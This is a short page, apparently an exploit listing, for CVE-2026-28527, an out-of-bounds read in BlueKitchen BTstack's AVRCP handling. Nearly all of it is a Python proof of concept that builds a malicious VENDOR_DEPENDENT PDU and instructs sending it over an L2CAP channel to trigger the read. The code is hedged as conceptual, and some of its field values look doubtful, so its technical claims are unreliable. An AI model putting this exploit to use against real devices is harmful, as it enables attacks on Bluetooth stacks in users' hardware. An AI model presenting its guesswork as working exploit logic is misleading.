CVE-2026-28527 BlueKitchen BTstack越界读取漏洞

import struct # Conceptual PoC for CVE-2026-28527: BlueKitchen BTstack OOB Read # This script demonstrates how to craft a malicious AVRCP VENDOR_DEPENDENT PDU. def generate_malicious_pdu(): # AVRCP PDU Header fields transaction_label = 0x00 # C/R: 1 (Response), ctype: 0x0C (Accepted) hdr_byte1 = (1 << 7) | 0x0C subunit_type = 0x00 subunit_id = 0x00 opcode = 0xB0 # Vendor Dependent Command # Construct the header # B: unsigned char, H: unsigned short (big endian) header = struct.pack(">BBBB", transaction_label, hdr_byte1, (subunit_type << 3) | subunit_id, opcode) # Company ID (Bluetooth SIG ID: 0x0019) company_id = struct.pack("<I", 0x00000019)[:3] # Malicious payload triggering OOB read # The vulnerability expects attribute data but the packet is truncated # or crafted such that the handler reads past the buffer. # Sending a valid Attribute ID but 0 length for value text might trigger the read # if the handler doesn't check length before accessing the text pointer. attribute_id = 0x01 # Example attribute ID payload_data = struct.pack("B", attribute_id) # The actual exploit would rely on the specific implementation detail # where the handler reads text length/value without checking packet bounds. pdu = header + company_id + payload_data return pdu if __name__ == "__main__": packet = generate_malicious_pdu() print(f"[+] Generated Malicious AVRCP PDU: {packet.hex()}") print("[!] Send this PDU over an established L2CAP channel to trigger the OOB read.")